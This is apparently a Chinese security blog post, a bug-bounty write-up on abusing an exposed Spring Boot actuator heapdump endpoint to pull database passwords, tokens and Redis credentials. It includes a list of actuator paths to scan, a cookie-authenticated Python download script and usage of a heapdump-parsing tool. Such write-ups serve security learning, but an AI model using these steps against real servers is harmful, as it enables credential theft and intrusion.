乐于分享
好东西不私藏

浏览器直接下载被拒?换个姿势,秒拿数据库密码、Token和Redis凭证

浏览器直接下载被拒?换个姿势,秒拿数据库密码、Token和Redis凭证

最近打一个众测src项目。找到一个旁站,首页功能很少,看起来也比较普通。不过发现系统开放了注册。于是先注册一个低权限账号进去。
后台整体比较简单,没什么特别明显的攻击面。
使用熊猫头看了一下信息,没看到什么有用的信息
打开 Burp 抓了一会流量。
发现接口风格很熟悉:
/api/xxx/xxx
老熟人了——Spring Boot。这种接口风格基本可以顺手试一波 actuator。
掏出 SpringBoot-Scan 工具扫一下SpringBoot 常见接口字典跑了一下,部分字典举例如下。
api-docsactuatoractuator/./envactuator/auditLogactuator/auditeventsactuator/autoconfigactuator/beansactuator/cachesactuator/conditionsactuator/configurationMetadataactuator/configpropsactuator/dumpactuator/envactuator/eventsactuator/exportRegisteredServicesactuator/featuresactuator/flywayactuator/healthactuator/healthcheckactuator/httptraceactuator/hystrix.streamactuator/infoactuator/integrationgraphactuator/jolokiaactuator/logfileactuator/loggersactuator/loggingConfigactuator/liquibaseactuator/metricsactuator/mappings
扫出actuator 页面,进去后发现存在heapdump路径
做过 SpringBoot 漏洞的应该都知道这意味着什么。
heapdump 里经常能拿到:
  • 数据库账号密码
  • Token
  • Session
  • JWT
  • Redis 密码
  • AccessKey
  • 内存中的敏感数据
属于典型的信息泄露点。直接点击下载。
提示会话或认证过期。我不是刚登录吗?Cookie 明明还在。
系统首页也能正常访问。
为什么单独下载 heapdump 就不行?
既然浏览器不行。那就换思路。编写一个python脚本来下载,打开豆包
脚本如下
import requests# ========== 请修改这里的配置 ==========URL = "http://你的目标地址/actuator/heapdump"COOKIE = "这里填入你的完整Cookie字符串"# ====================================# 下载配置headers = {"Cookie": COOKIE}file_name = "heapdump.hprof"try:    # 流式下载大文件(避免内存溢出)    with requests.get(URL, headers=headers, stream=True, timeout=300as resp:        resp.raise_for_status()  # 抛出HTTP错误        withopen(file_name, "wb"as f:            for chunk in resp.iter_content(chunk_size=8192):                f.write(chunk)    print(f"✅ 下载完成!文件保存为:{file_name}")except Exception as e:    print(f"❌ 下载失败:{str(e)}")
下载完后使用heapdump_tool 进行解密
https://github.com/wyzxxz/heapdump_tool
使用方法
java -jar heapdump_tool.jar heapdump
点到为止,这里选择1,搜索pass。
后面想了一下,之所以在浏览器下载不了文件,是因为浏览器直接访问会丢失请求头部信息。在 Burpsuite 中可见Authorization: Bearer xxxxxx这类鉴权头,但将链接复制到浏览器打开时,浏览器不会自动携带授权头、自定义请求头及专属 Token,最终导致服务端判定为未登录状态。

📎 获取方法

整理了一份常用工具和笔记,后台回复:资料

回复加群获取交流群

⚠️ 最后必看 – 免责声明

文章中的案例或工具仅面向合法授权的企业安全建设行为,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任。

本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。

如您在使用过程中存在任何非法行为,需自行承担相应后果。本工具来源于网络,若有侵权请联系删除,请勿用于商业行为!

📚 往期推荐

微信号: 关注公众号获取 | 扫码关注了解更多